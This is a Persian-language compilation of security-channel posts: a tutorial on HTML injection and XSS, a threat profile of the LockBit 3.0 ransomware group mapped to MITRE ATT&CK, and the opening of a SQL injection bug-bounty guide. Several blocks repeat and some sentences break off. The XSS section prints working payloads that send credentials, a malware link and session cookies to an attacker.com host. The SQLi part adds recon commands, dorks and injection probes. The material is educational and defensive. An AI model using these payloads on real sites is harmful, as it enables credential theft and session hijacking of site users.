<h1> نمایش داده شود، آسیبپذیری تایید شده است.سناریوهای حمله: از Defacement تا Phishing
پس از تایید آسیبپذیری، مهاجم میتواند حملات مختلفی را طراحی و اجرا کند. در اینجا به بررسی چند سناریوی رایج با جزئیات بیشتر میپردازیم.
1۔ Defacement (تغییر چهره وبسایت)
سادهترین نوع حمله، تغییر موقت ظاهر وبسایت برای سایر بازدیدکنندگان است. این کار با تزریق تگهای HTML و استایلهای CSS انجام میشود.
* پیلودی برای نمایش یک پیام بزرگ:
<h1 style="font-size:100px; color:red; text-align:center;">Hacked by Attacker</h1>
* پیلودی برای نمایش یک تصویر:
<img src="https://attacker.com/hacked.jpg" alt="Hacked">
این Payload یک تصویر از منبعی خارجی را در صفحه آسیبپذیر بارگذاری میکند.
2۔ Phishing (سرقت اطلاعات کاربری)
این سناریو یکی از خطرناکترین کاربردهای HTML Injection است. مهاجم میتواند یک فرم لاگین جعلی ایجاد کرده و آن را در صفحه آسیبپذیر تزریق کند. کاربران بدون اینکه متوجه شوند، اطلاعات کاربری خود را در فرم مهاجم وارد میکنند.
پیلود فرم لاگین جعلی:
<h2>Please Login to Continue</h2>
<form action="http://attacker.com/steal.php" method="post">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
در این Payload، یک فرم لاگین ساده ایجاد شده است. مهمترین بخش،
action="http://attacker.com/steal.php" است. این ویژگی مشخص میکند که اطلاعات وارد شده در فرم (نام کاربری و رمز عبور) پس از کلیک روی دکمه "Login"، به سرور مهاجم ارسال خواهد شد. فایل steal.php در سرور مهاجم، اسکریپتی است که اطلاعات دریافتی را ذخیره میکند.3. تزریق لینکها و دکمههای مخرب
مهاجم میتواند کاربران را به سمت وبسایتهای مخرب، دانلود بدافزار یا صفحات Phishing دیگر هدایت کند.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
پیلود دکمه دانلود جعلی:
این کد یک دکمهی ظاهراً معتبر با عنوان "Download Update" ایجاد میکند که در واقع کاربر را به سمت دانلود یک فایل اجرایی مخرب هدایت میکند.
ارتقاء HTML Injection به XSS (Cross-Site Scripting)
اگر مکانیزمهای امنیتی وبسایت ضعیف باشند، مهاجم میتواند از HTML Injection فراتر رفته و کدهای JavaScript را تزریق کند. این حمله به عنوان XSS شناخته میشود و به مراتب خطرناکتر است.
پیلود ساده XSS:
اگر پس از تزریق این کد، یک پنجره هشدار (alert) با متن 'XSS' در مرورگر ظاهر شود، وبسایت به Stored XSS یا Reflected XSS (بسته به نحوه ذخیره و بازتاب ورودی) آسیبپذیر است.
پیلود برای سرقت کوکی (Session Hijacking):
این پیلود (Session Cookies) کاربر فعلی را خوانده و آنها را به عنوان یک پارامتر در URL به سرور مهاجم ارسال میکند. مهاجم با در دست داشتن این کوکیها میتواند سشن کاربر را ربوده و بدون نیاز به نام کاربری و رمز عبور، وارد حساب کاربری او شود.
روشهای مقابله و پیشگیری
جلوگیری از حملات HTML Injection نیازمند یک رویکرد چندلایه در توسعه نرمافزار است.
1. اعتبارسنجی ورودی (Input Validation)
هرگز به ورودی کاربر اعتماد نکنید. باید تمام دادههای دریافتی از سمت کاربر بر اساس یک لیست سفید (Whitelist) از کاراکترها، الگوها و فرمتهای مجاز اعتبارسنجی شوند. برای مثال، اگر یک فیلد فقط باید شامل اعداد باشد، هر ورودی دیگری باید رد شود.
2. پاکسازی خروجی (Output Encoding/Sanitization)
این مهمترین و مؤثرترین روش دفاعی است. قبل از نمایش هرگونه دادهی ورودی از کاربر در خروجی HTML، کاراکترهای خاص HTML باید به معادلهای امن خود (HTML Entities) تبدیل شوند.
با این کار، مرورگر تگهای تزریق شده را به عنوان متن ساده تفسیر میکند و آنها را اجرا نخواهد کرد. اکثر فریمورکهای مدرن وب (مانند React, Angular, Django, Rails) به صورت پیشفرض این کار را انجام میدهند، اما همیشه باید از فعال بودن و پیکربندی صحیح آن اطمینان حاصل کرد.
3. استفاده از Content Security Policy (CSP)
۔CSP یک لایه امنیتی اضافی است که به مدیران وبسایت اجازه میدهد تا مشخص کنند مرورگر مجاز به بارگذاری منابع (مانند اسکریپتها، استایلها، تصاویر) از چه دامنههایی است. یک CSP قوی میتواند حتی در صورت موفقیتآمیز بودن تزریق، از اجرای اسکریپتهای مخرب یا بارگذاری منابع از سرورهای ناشناس جلوگیری کند.
* مثال از یک هدر CSP:
این خط مشی به مرورگر میگوید که به طور پیشفرض منابع را فقط از دامنه خود وبسایت (
### نتیجهگیری
آسیب پذیری HTML Injection به ظاهر ساده اما با پتانسیل تخریب بالاست. درک عمیق مکانیزمهای این حمله، سناریوهای بهرهبرداری و مهمتر از همه، روشهای پیشگیری، برای هر متخصص امنیت و توسعهدهنده وب ضروری است. این آسیبپذیری یادآور یک اصل بنیادین در امنیت سایبری است: "هرگز به ورودی کاربر اعتماد نکنید" (Never trust user input). با پیادهسازی صحیح تکنیکهای Input Validation و Output Encoding، میتوان به طور کامل از این دسته حملات جلوگیری کرد و امنیت اپلیکیشنهای وب را به میزان قابل توجهی افزایش داد.
@NullError_ir
<a href="http://attacker.com/malware.exe" style="display:block; width:200px; height:50px; background-color:green; color:white; text-align:center; line-height:50px; text-decoration:none; font-family:sans-serif; font-size:18px;">Download Update</a>
این کد یک دکمهی ظاهراً معتبر با عنوان "Download Update" ایجاد میکند که در واقع کاربر را به سمت دانلود یک فایل اجرایی مخرب هدایت میکند.
ارتقاء HTML Injection به XSS (Cross-Site Scripting)
اگر مکانیزمهای امنیتی وبسایت ضعیف باشند، مهاجم میتواند از HTML Injection فراتر رفته و کدهای JavaScript را تزریق کند. این حمله به عنوان XSS شناخته میشود و به مراتب خطرناکتر است.
پیلود ساده XSS:
<noscript>alert('XSS')</noscript>
اگر پس از تزریق این کد، یک پنجره هشدار (alert) با متن 'XSS' در مرورگر ظاهر شود، وبسایت به Stored XSS یا Reflected XSS (بسته به نحوه ذخیره و بازتاب ورودی) آسیبپذیر است.
پیلود برای سرقت کوکی (Session Hijacking):
<noscript>document.location='http://attacker.com/cookie_stealer.php?c=' + document.cookie;</noscript>
این پیلود (Session Cookies) کاربر فعلی را خوانده و آنها را به عنوان یک پارامتر در URL به سرور مهاجم ارسال میکند. مهاجم با در دست داشتن این کوکیها میتواند سشن کاربر را ربوده و بدون نیاز به نام کاربری و رمز عبور، وارد حساب کاربری او شود.
روشهای مقابله و پیشگیری
جلوگیری از حملات HTML Injection نیازمند یک رویکرد چندلایه در توسعه نرمافزار است.
1. اعتبارسنجی ورودی (Input Validation)
هرگز به ورودی کاربر اعتماد نکنید. باید تمام دادههای دریافتی از سمت کاربر بر اساس یک لیست سفید (Whitelist) از کاراکترها، الگوها و فرمتهای مجاز اعتبارسنجی شوند. برای مثال، اگر یک فیلد فقط باید شامل اعداد باشد، هر ورودی دیگری باید رد شود.
2. پاکسازی خروجی (Output Encoding/Sanitization)
این مهمترین و مؤثرترین روش دفاعی است. قبل از نمایش هرگونه دادهی ورودی از کاربر در خروجی HTML، کاراکترهای خاص HTML باید به معادلهای امن خود (HTML Entities) تبدیل شوند.
< تبدیل شود به <> تبدیل شود به >" تبدیل شود به "' تبدیل شود به '& تبدیل شود به &با این کار، مرورگر تگهای تزریق شده را به عنوان متن ساده تفسیر میکند و آنها را اجرا نخواهد کرد. اکثر فریمورکهای مدرن وب (مانند React, Angular, Django, Rails) به صورت پیشفرض این کار را انجام میدهند، اما همیشه باید از فعال بودن و پیکربندی صحیح آن اطمینان حاصل کرد.
3. استفاده از Content Security Policy (CSP)
۔CSP یک لایه امنیتی اضافی است که به مدیران وبسایت اجازه میدهد تا مشخص کنند مرورگر مجاز به بارگذاری منابع (مانند اسکریپتها، استایلها، تصاویر) از چه دامنههایی است. یک CSP قوی میتواند حتی در صورت موفقیتآمیز بودن تزریق، از اجرای اسکریپتهای مخرب یا بارگذاری منابع از سرورهای ناشناس جلوگیری کند.
* مثال از یک هدر CSP:
Content-Security-Policy: default-src 'self'; noscript-src 'self' trusted-noscripts.com; img-src *;
این خط مشی به مرورگر میگوید که به طور پیشفرض منابع را فقط از دامنه خود وبسایت (
'self' ) بارگذاری کند، اسکریپتها را فقط از دامنه خود و trusted-noscripts.com اجرا کند و تصاویر را از هر منبعی ( * ) بارگذاری نماید. این سیاست از اجرای اسکریپتهای inline یا بارگذاری منابع از سرور مهاجم جلوگیری میکند.### نتیجهگیری
آسیب پذیری HTML Injection به ظاهر ساده اما با پتانسیل تخریب بالاست. درک عمیق مکانیزمهای این حمله، سناریوهای بهرهبرداری و مهمتر از همه، روشهای پیشگیری، برای هر متخصص امنیت و توسعهدهنده وب ضروری است. این آسیبپذیری یادآور یک اصل بنیادین در امنیت سایبری است: "هرگز به ورودی کاربر اعتماد نکنید" (Never trust user input). با پیادهسازی صحیح تکنیکهای Input Validation و Output Encoding، میتوان به طور کامل از این دسته حملات جلوگیری کرد و امنیت اپلیکیشنهای وب را به میزان قابل توجهی افزایش داد.
@NullError_ir
مرز میان برنامهنویسی و تحقیقات امنیتی همچون تیغی باریک و برنده است؛ فهم مکانیزمهای پنهان در دل کد، کلید گشودن دروازههای محافظت یا فروپاشی آن است . هر خط کد، نه یک دستور، بلکه یک میدان نبرد است. برنامهنویس آن را برای اجرا مینویسد، اما یک محقق امنیتی آن را برای شکستن میخواند. درک عمیق کد، تنها سلاحی است که در هر دو سوی این نبرد به کار میآید.
@NullError_ir
@NullError_ir
یک پروفایل سطح بالای APT
از LockBit - امپراتوری باجافزار
گروه LockBit ، یکی از بدنامترین و پرکارترین بازیگران در اکوسیستم جرایم سایبری، با عرضه نسخه LockBit 3.0 که با نام LockBit Black نیز شناخته میشود، سلطه خود را به عنوان یک تهدید مستمر پیشرفته (APT) در دنیای باجافزارها تثبیت کرده است. این گروه که تحت مدل Ransomware-as-a-Service (RaaS) فعالیت میکند، با نوآوریهای فنی و یک مدل تجاری بیرحمانه، به کابوسی برای سازمانها در سراسر جهان تبدیل شده است. در این تحلیل، به کالبدشکافی این گروه، تاکتیکها، تکنیکها و رویههای آنها و ویژگیهای منحصربهفرد آخرین نسخه باجافزارشان میپردازیم.
۔LockBit کیست؟ از آغاز تا تکامل به LockBit 3.0
گروه LockBit برای اولین بار در سپتامبر ۲۰۱۹ شناسایی شد و به سرعت با بهروزرسانیهای مداوم و توسعه یک پلتفرم RaaS قدرتمند، از رقبای خود پیشی گرفت. این گروه تکامل خود را در سه نسخه اصلی به نمایش گذاشته است:
1۔ LockBit: نسخه اولیه که از الگوریتمهای رمزنگاری استاندارد و مکانیزمهای انتشار اولیه استفاده میکرد.
2۔ LockBit 2.0 (LockBit Red): این نسخه یک جهش بزرگ بود. ویژگی برجسته آن، قابلیت انتشار خودکار (Self-Propagation) در شبکههای قربانی از طریق Group Policy ویندوز بود که نیاز به دخالت دستی اپراتور برای حرکت جانبی را به شدت کاهش میداد.
3۔ LockBit 3.0 (LockBit Black): این نسخه که در ژوئن ۲۰۲۲ عرضه شد، اوج تکامل فنی این گروه محسوب میشود. LockBit 3.0 ماژولارتر، مخفیکارتر و قدرتمندتر از همیشه است.
یکی از جنبههای منحصربهفرد LockBit، رویکرد "حرفهای" و "تجاری" آن است. آنها خود را نه یک گروه هکری با انگیزههای سیاسی، بلکه یک "کسبوکار" معرفی میکنند که تنها هدفش کسب درآمد است. این گروه حتی با راهاندازی یک برنامه Bug Bounty ، از محققان امنیتی دعوت کرد تا در ازای پاداش مالی، آسیبپذیریهای موجود در نرمافزارشان را گزارش دهند؛ اقدامی که نشاندهنده اعتماد به نفس و همچنین تلاش آنها برای بهبود مستمر ابزارهایشان است.
مدل کسبوکار: Ransomware-as-a-Service (RaaS)
موفقیت LockBit به شدت به مدل عملیاتی RaaS آن وابسته است. در این مدل، تیم اصلی LockBit مسئولیت توسعه و نگهداری باجافزار، زیرساخت Command and Control (C2) و پلتفرم مذاکره را بر عهده دارد. سپس این "سرویس" را در اختیار گروههای دیگر که به عنوان Affiliates (همکاران) شناخته میشوند، قرار میدهد.
* ۔Affiliates: این گروهها مسئولیت نفوذ اولیه به شبکههای هدف، حرکت جانبی، استخراج دادهها و در نهایت اجرای باجافزار را بر عهده دارند.
* تقسیم سود: درآمد حاصل از باج پرداختی توسط قربانیان، بین تیم اصلی LockBit و Affiliate تقسیم میشود. معمولاً سهم Affiliate حدود ۷۰ تا ۸۰ درصد از کل مبلغ باج است که انگیزهای بسیار قوی برای همکاری با این پلتفرم ایجاد میکند.
این مدل به LockBit اجازه داده است تا عملیات خود را به شکلی باورنکردنی مقیاسپذیر کند و همزمان از تخصص گروههای مختلف در زمینههای گوناگون نفوذ بهرهمند شود.
کالبدشکافی فنی LockBit 3.0 (LockBit Black)
نسخه 3.0 با الهامگیری از ویژگیهای باجافزار BlackMatter ، پیشرفتهای قابل توجهی را معرفی کرد:
* رمزگذاری ماژولار و سریع: این باجافزار از یک رویکرد چندنخی (Multi-threaded) برای رمزگذاری فایلها استفاده میکند که فرآیند را به شدت تسریع میبخشد.
* تکنیکهای ضد تحلیل (Anti-Analysis): LockBit 3.0 به شدت مبهمسازی (Obfuscate) شده و از تکنیکهای مختلفی برای جلوگیری از دیباگ شدن و مهندسی معکوس استفاده میکند. یکی از ویژگیهای کلیدی آن این است که Payload اصلی باجافزار تنها پس از وارد کردن یک پسورد خاص در زمان اجرا، به صورت کامل Decrypt و اجرا میشود. این پسورد برای هر حمله منحصربهفرد است و تحلیل خودکار آن را در Sandboxها تقریباً غیرممکن میسازد.
* غیرفعالسازی سیستمهای دفاعی: این بدافزار به صورت خودکار سرویسها و فرآیندهای مرتبط با نرمافزارهای امنیتی (EDR, Antivirus)، ابزارهای پشتیبانگیری (مانند Veeam) و پایگاههای داده را خاتمه میدهد تا از رمزگذاری کامل فایلها اطمینان حاصل کند.
* حذف Shadow Copies: برای جلوگیری از بازیابی اطلاعات توسط قربانی، به صورت سیستماتیک نسخههای پشتیبان Volume Shadow Copy را با استفاده از دستور
vssadmin حذف میکند.* تغییر آیکون فایلها و Wallpaper: پس از رمزگذاری، آیکون فایلهای آلوده به آیکون LockBit تغییر کرده و تصویر پسزمینه دسکتاپ نیز با یادداشت باج (Ransom Note) جایگزین میشود.
زنجیره حمله: تاکتیکها، تکنیکها و رویهها بر اساس MITRE ATT&CK
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
عملیات LockBit یک زنجیره حمله پیچیده و چندمرحلهای را دنبال میکند که توسط Affiliates اجرا میشود.
#### 1۔Initial Access (T1190, T1078, T1566)
* ۔Exploiting Public-Facing Applications: بهرهبرداری از آسیبپذیریهای شناختهشده در نرمافزارهای عمومی مانند VPNها، سرورهای Exchange و اخیراً آسیبپذیری مشهور Citrix Bleed (CVE-2023-4966).
* ۔Valid Accounts & RDP: استفاده از اعتبارنامههای سرقتشده یا ضعیف برای دسترسی از طریق پروتکل Remote Desktop (RDP).
* ۔Phishing: ارسال ایمیلهای فیشینگ هدفمند برای فریب کاربران و به دست آوردن دسترسی اولیه.
#### 2۔ Execution (T1059)
* استفاده گسترده از PowerShell و Command Shell برای اجرای اسکریپتها و دستورات مخرب.
#### 3۔ Persistence (T1505.003)
* ایجاد Scheduled Tasks برای اطمینان از اجرای مجدد بدافزار در صورت راهاندازی مجدد سیستم.
#### 4۔ Privilege Escalation (T1068)
* بهرهبرداری از پیکربندیهای نادرست و آسیبپذیریهای سیستمی برای دستیابی به سطح دسترسی SYSTEM/Administrator.
#### 5۔ Defense Evasion (T1562.001)
* اجرای اسکریپتهایی برای غیرفعال کردن Windows Defender و دیگر محصولات امنیتی. پاک کردن لاگهای رویداد (Event Logs) برای از بین بردن ردپای فعالیتها.
#### 6۔ Credential Access (T1003)
* استفاده از ابزارهایی مانند Mimikatz برای استخراج اعتبارنامهها (Passwords, Hashes) از حافظه فرآیندهایی مانند LSASS.
#### 7۔ Discovery (T1087, T1018, T1049)
* استفاده از ابزارهای Native ویندوز مانند
#### 8۔ Lateral Movement (T1021.002)
* استفاده از ابزارهای شناختهشده مانند Cobalt Strike و PsExec برای حرکت در شبکه و آلوده کردن سیستمهای دیگر.
#### 9۔ Exfiltration (T1048)
* قبل از مرحله رمزگذاری، دادههای حساس از شبکه قربانی استخراج و به سرورهای تحت کنترل مهاجمان منتقل میشود. این کار با ابزارهای سفارشی مانند StealBIT یا ابزارهای قانونی مانند Rclone انجام میشود. این تکنیک Double Extortion نام دارد.
#### 10۔ Impact (T1486)
* در مرحله نهایی، باجافزار LockBit 3.0 در سراسر شبکه اجرا شده، فایلها را رمزگذاری میکند و یادداشت باج را در هر پوشه قرار میدهد. قربانی تهدید میشود که اگر باج را پرداخت نکند، دادههای به سرقت رفتهاش در وبسایت نشت داده (Leak Site) گروه منتشر خواهد شد.
توجه : شناسههای
فریمورک MITRE ATT&CK چیست؟
۔MITRE ATT&CK یک پایگاه دانش جهانی و رایگان است که به صورت جامع، تاکتیکها ، تکنیکها و رویههای (TTPs) مورد استفاده توسط مهاجمان سایبری را بر اساس مشاهدات دنیای واقعی، دستهبندی و مستند میکند.
این فریمورک به متخصصان امنیت سایبری در سراسر جهان یک زبان مشترک میدهد تا بتوانند رفتارها و مراحل حمله یک گروه مهاجم (APT) را به صورت استاندارد توصیف و تحلیل کنند.
اجازه دهید ساختار آن را توضیح دهم:
۱۔ Tactics (تاکتیکها): هدف مهاجم چیست؟
اینها اهداف سطح بالای یک مهاجم در طول یک حمله هستند. به عبارتی، پاسخ به سوال "چرا" (Why) این کار را انجام میدهد. در تحلیل LockBit که ارسال کردم، مواردی مانند:
* ۔Initial Access (دسترسی اولیه)
* ۔Execution (اجرا)
* ۔Persistence (ماندگاری)
* ۔Exfiltration (استخراج داده)
* ۔Impact (تأثیرگذاری)
همگی نمونههایی از تاکتیکها هستند. هر تاکتیک، یک ستون در ماتریس معروف ATT&CK است.
۲۔ Techniques (تکنیکها): مهاجم چگونه به هدفش میرسد؟
هر تاکتیک شامل چندین تکنیک است که روشهای مشخص "چگونه" (How) رسیدن به آن هدف را توصیف میکنند. هر کدام از این تکنیکها یک شناسه منحصربهفرد دارند که با حرف "T" شروع میشود.
مثال (T1048) :
* ۔Tactic Exfiltration (هدف: سرقت و استخراج داده)
* ۔Technique (T1048) Exfiltration Over Alternative Protocol: (تکنیک: استخراج داده از طریق یک پروتکل جایگزین)
این کد به صورت دقیق به یک تحلیلگر امنیتی میگوید که مهاجم برای خارج کردن دادهها از شبکه، از پروتکلهایی غیر از پروتکل اصلی Command and Control (C2) خود استفاده کرده است (مثلاً ممکن است از FTP یا DNS Tunneling استفاده کند).
گاهی یک تکنیک، زیرمجموعههای دقیقتری هم دارد که به آنها Sub-techniques میگویند و با فرمت
چرا استفاده از این کدها مهم است؟
1. استانداردسازی: وقتی شما مینویسید "مهاجم از T1048 استفاده کرد" ، تمام متخصصان امنیت در دنیا دقیقاً میدانند منظور شما کدام روش است و نیازی به توضیحات طولانی نیست.
#### 1۔Initial Access (T1190, T1078, T1566)
* ۔Exploiting Public-Facing Applications: بهرهبرداری از آسیبپذیریهای شناختهشده در نرمافزارهای عمومی مانند VPNها، سرورهای Exchange و اخیراً آسیبپذیری مشهور Citrix Bleed (CVE-2023-4966).
* ۔Valid Accounts & RDP: استفاده از اعتبارنامههای سرقتشده یا ضعیف برای دسترسی از طریق پروتکل Remote Desktop (RDP).
* ۔Phishing: ارسال ایمیلهای فیشینگ هدفمند برای فریب کاربران و به دست آوردن دسترسی اولیه.
#### 2۔ Execution (T1059)
* استفاده گسترده از PowerShell و Command Shell برای اجرای اسکریپتها و دستورات مخرب.
#### 3۔ Persistence (T1505.003)
* ایجاد Scheduled Tasks برای اطمینان از اجرای مجدد بدافزار در صورت راهاندازی مجدد سیستم.
#### 4۔ Privilege Escalation (T1068)
* بهرهبرداری از پیکربندیهای نادرست و آسیبپذیریهای سیستمی برای دستیابی به سطح دسترسی SYSTEM/Administrator.
#### 5۔ Defense Evasion (T1562.001)
* اجرای اسکریپتهایی برای غیرفعال کردن Windows Defender و دیگر محصولات امنیتی. پاک کردن لاگهای رویداد (Event Logs) برای از بین بردن ردپای فعالیتها.
#### 6۔ Credential Access (T1003)
* استفاده از ابزارهایی مانند Mimikatz برای استخراج اعتبارنامهها (Passwords, Hashes) از حافظه فرآیندهایی مانند LSASS.
#### 7۔ Discovery (T1087, T1018, T1049)
* استفاده از ابزارهای Native ویندوز مانند
net , nltest , ipconfig و systeminfo برای شناسایی ساختار شبکه، دامنهها، کاربران و سیستمها.#### 8۔ Lateral Movement (T1021.002)
* استفاده از ابزارهای شناختهشده مانند Cobalt Strike و PsExec برای حرکت در شبکه و آلوده کردن سیستمهای دیگر.
#### 9۔ Exfiltration (T1048)
* قبل از مرحله رمزگذاری، دادههای حساس از شبکه قربانی استخراج و به سرورهای تحت کنترل مهاجمان منتقل میشود. این کار با ابزارهای سفارشی مانند StealBIT یا ابزارهای قانونی مانند Rclone انجام میشود. این تکنیک Double Extortion نام دارد.
#### 10۔ Impact (T1486)
* در مرحله نهایی، باجافزار LockBit 3.0 در سراسر شبکه اجرا شده، فایلها را رمزگذاری میکند و یادداشت باج را در هر پوشه قرار میدهد. قربانی تهدید میشود که اگر باج را پرداخت نکند، دادههای به سرقت رفتهاش در وبسایت نشت داده (Leak Site) گروه منتشر خواهد شد.
توجه : شناسههای
Txxxx مانند ، کدهای مربوط به فریمورک MITRE ATT&CK هستندفریمورک MITRE ATT&CK چیست؟
۔MITRE ATT&CK یک پایگاه دانش جهانی و رایگان است که به صورت جامع، تاکتیکها ، تکنیکها و رویههای (TTPs) مورد استفاده توسط مهاجمان سایبری را بر اساس مشاهدات دنیای واقعی، دستهبندی و مستند میکند.
این فریمورک به متخصصان امنیت سایبری در سراسر جهان یک زبان مشترک میدهد تا بتوانند رفتارها و مراحل حمله یک گروه مهاجم (APT) را به صورت استاندارد توصیف و تحلیل کنند.
اجازه دهید ساختار آن را توضیح دهم:
۱۔ Tactics (تاکتیکها): هدف مهاجم چیست؟
اینها اهداف سطح بالای یک مهاجم در طول یک حمله هستند. به عبارتی، پاسخ به سوال "چرا" (Why) این کار را انجام میدهد. در تحلیل LockBit که ارسال کردم، مواردی مانند:
* ۔Initial Access (دسترسی اولیه)
* ۔Execution (اجرا)
* ۔Persistence (ماندگاری)
* ۔Exfiltration (استخراج داده)
* ۔Impact (تأثیرگذاری)
همگی نمونههایی از تاکتیکها هستند. هر تاکتیک، یک ستون در ماتریس معروف ATT&CK است.
۲۔ Techniques (تکنیکها): مهاجم چگونه به هدفش میرسد؟
هر تاکتیک شامل چندین تکنیک است که روشهای مشخص "چگونه" (How) رسیدن به آن هدف را توصیف میکنند. هر کدام از این تکنیکها یک شناسه منحصربهفرد دارند که با حرف "T" شروع میشود.
مثال (T1048) :
* ۔Tactic Exfiltration (هدف: سرقت و استخراج داده)
* ۔Technique (T1048) Exfiltration Over Alternative Protocol: (تکنیک: استخراج داده از طریق یک پروتکل جایگزین)
این کد به صورت دقیق به یک تحلیلگر امنیتی میگوید که مهاجم برای خارج کردن دادهها از شبکه، از پروتکلهایی غیر از پروتکل اصلی Command and Control (C2) خود استفاده کرده است (مثلاً ممکن است از FTP یا DNS Tunneling استفاده کند).
گاهی یک تکنیک، زیرمجموعههای دقیقتری هم دارد که به آنها Sub-techniques میگویند و با فرمت
Txxxx.yyy نمایش داده میشوند.چرا استفاده از این کدها مهم است؟
1. استانداردسازی: وقتی شما مینویسید "مهاجم از T1048 استفاده کرد" ، تمام متخصصان امنیت در دنیا دقیقاً میدانند منظور شما کدام روش است و نیازی به توضیحات طولانی نیست.
Mr. SAM
عملیات LockBit یک زنجیره حمله پیچیده و چندمرحلهای را دنبال میکند که توسط Affiliates اجرا میشود. #### 1۔Initial Access (T1190, T1078, T1566) * ۔Exploiting Public-Facing Applications: بهرهبرداری از آسیبپذیریهای شناختهشده در نرمافزارهای عمومی مانند…
2. تحلیل هوش تهدید (Threat Intelligence): این کدها به ما اجازه میدهند رفتار گروههای مختلف (مثل LockBit, Conti, APT29) را با یکدیگر مقایسه کرده و الگوهای مشترک یا منحصربهفرد آنها را شناسایی کنیم.
3. بهبود دفاع (Threat-Informed Defense): تیمهای آبی (Blue Teams) و مدیران امنیتی با استفاده از این ماتریس میتوانند پوشش دفاعی خود را ارزیابی کنند. مثلاً از خود میپرسند: "ما در برابر کدام یک از تکنیکهای
نتیجهگیری و توصیههای دفاعی
۔LockBit 3.0 صرفاً یک باجافزار نیست؛ بلکه یک پلتفرم جرایم سایبری کاملاً توسعهیافته با یک مدل تجاری کارآمد است که آن را به یکی از خطرناکترین تهدیدات فعال در جهان تبدیل کرده است. مقیاسپذیری مدل RaaS و پیچیدگی فنی باجافزار آن، دفاع در برابر آن را به یک چالش جدی برای تیمهای امنیتی بدل کرده است.
سازمانها برای مقابله با این تهدید باید یک رویکرد دفاعی چندلایه و عمیق (Defense-in-Depth) اتخاذ کنند:
* مدیریت آسیبپذیری و Patching: بهروزرسانی فوری سیستمها، به ویژه سرویسهای عمومی.
* احراز هویت چندعاملی (MFA): فعالسازی MFA برای تمام دسترسیهای خارجی، به خصوص RDP و VPN.
* ۔Segmentبندی شبکه: جداسازی شبکهها برای محدود کردن حرکت جانبی مهاجمان.
* آموزش و آگاهیرسانی امنیتی: آموزش کاربران برای شناسایی حملات فیشینگ.
* پشتیبانگیری و بازیابی: تهیه نسخههای پشتیبان منظم، ایمن و آفلاین (Immutable Backups).
* ۔Monitoring و EDR: استفاده از راهحلهای Endpoint Detection and Response برای شناسایی و متوقف کردن فعالیتهای مشکوک در مراحل اولیه زنجیره حمله.
@NullError_ir
3. بهبود دفاع (Threat-Informed Defense): تیمهای آبی (Blue Teams) و مدیران امنیتی با استفاده از این ماتریس میتوانند پوشش دفاعی خود را ارزیابی کنند. مثلاً از خود میپرسند: "ما در برابر کدام یک از تکنیکهای
Initial Access آسیبپذیر هستیم؟ " و سپس راهکارهای دفاعی خود را بر اساس آن اولویتبندی میکنند.نتیجهگیری و توصیههای دفاعی
۔LockBit 3.0 صرفاً یک باجافزار نیست؛ بلکه یک پلتفرم جرایم سایبری کاملاً توسعهیافته با یک مدل تجاری کارآمد است که آن را به یکی از خطرناکترین تهدیدات فعال در جهان تبدیل کرده است. مقیاسپذیری مدل RaaS و پیچیدگی فنی باجافزار آن، دفاع در برابر آن را به یک چالش جدی برای تیمهای امنیتی بدل کرده است.
سازمانها برای مقابله با این تهدید باید یک رویکرد دفاعی چندلایه و عمیق (Defense-in-Depth) اتخاذ کنند:
* مدیریت آسیبپذیری و Patching: بهروزرسانی فوری سیستمها، به ویژه سرویسهای عمومی.
* احراز هویت چندعاملی (MFA): فعالسازی MFA برای تمام دسترسیهای خارجی، به خصوص RDP و VPN.
* ۔Segmentبندی شبکه: جداسازی شبکهها برای محدود کردن حرکت جانبی مهاجمان.
* آموزش و آگاهیرسانی امنیتی: آموزش کاربران برای شناسایی حملات فیشینگ.
* پشتیبانگیری و بازیابی: تهیه نسخههای پشتیبان منظم، ایمن و آفلاین (Immutable Backups).
* ۔Monitoring و EDR: استفاده از راهحلهای Endpoint Detection and Response برای شناسایی و متوقف کردن فعالیتهای مشکوک در مراحل اولیه زنجیره حمله.
@NullError_ir
باگ SQL Injection در یک برنامه Bug Bounty
یک راهنما برای یافتن آسیبپذیری SQLi با استفاده از payloadهای مبتنی بر زمان (Time-based) ، ابزار sqlmap و شناسایی هوشمند (Smart Reconnaissance) .
چرا SQLi همچنان در امنیت وب اهمیت دارد؟
با وجود گذشت دههها از کشف آن، SQL Injection (SQLi) همچنان یک تهدید حیاتی محسوب میشود. این آسیبپذیری به یک هانتر اجازه میدهد تا مستقیماً با پایگاه داده یک وبسایت تعامل داشته باشد. این کار به شما میآموزد که اپلیکیشنها چگونه فکر میکنند و چگونه میتوان آنها را به فکر کردن نادرست وادار کرد.
۱۔ Reconnaissance (Recon) همهچیز است
شما نمیتوانید چیزی را که نمیبینید، آزمایش کنید. اولین و حیاتیترین قدم در Bug Bounty Hunting، ساختن یک لیست عظیم از اهداف بالقوه است.
گام اول: کشف Subdomainها
ابزارهایی مانند
subfinder یا Amass برای این کار عالی هستند.subfinder -d example.com -silent | httpx -silent > subdomains.txt
گام دوم: یافتن Endpointهای جذاب
در مرحله بعد، از ابزارهایی برای crawl کردن این زیردامنهها و جستجوی صفحاتی که پارامتر قبول میکنند، به ویژه در URLها و فرمها، استفاده کردم. اینها درهایی هستند که باید سعی کنیم بازشان کنیم. ابزار
katana برای این منظور بسیار کارآمد است.katana -u https://sub.example.com -silent | grep "=" | uro > endpoints.txt
> نکته حرفهای: نتایج را برای صفحاتی با پسوندهای رایج مانند
.php ، .asp و .jsp فیلتر کنید، زیرا این صفحات اغلب کوئریهای پایگاه داده را مدیریت میکنند. گام سوم: معدن طلای Google Dorking
۔Google Dorking یک تکنیک قدرتمند برای یافتن پارامترها و endpointهای پنهانی است که ممکن است crawlerها از دست بدهند.
site:example.com inurl:php?id=
site:example.com "index of" /admin
site:example.com inurl:product.asp?id=
این تکنیک اغلب پنلهای ادمین یا صفحات قدیمی و فراموششدهای را آشکار میکند که برای آزمایش عالی هستند.
۲. ابتدا تست دستی: درک منطق آسیبپذیری
فرض کنید :
https://api.example.com/user.php?id=123 پیدا شد . کار را با payloadهای کلاسیک تست شروع کنید:https://api.example.com/user.php?id=123'
https://api.example.com/user.php?id=123'--
صفحه هیچ خطای پایگاه دادهای را نشان نداد. فقط یک صفحه خالی برگرداند. این رفتار نشاندهنده وجود یک WAF است که به طور خاموش درخواستها را مسدود میکند. اینجاست که بسیاری از مبتدیان تسلیم میشوند.
۳. تزریق SQL مبتنی بر زمان (Time-Based SQL Injection)
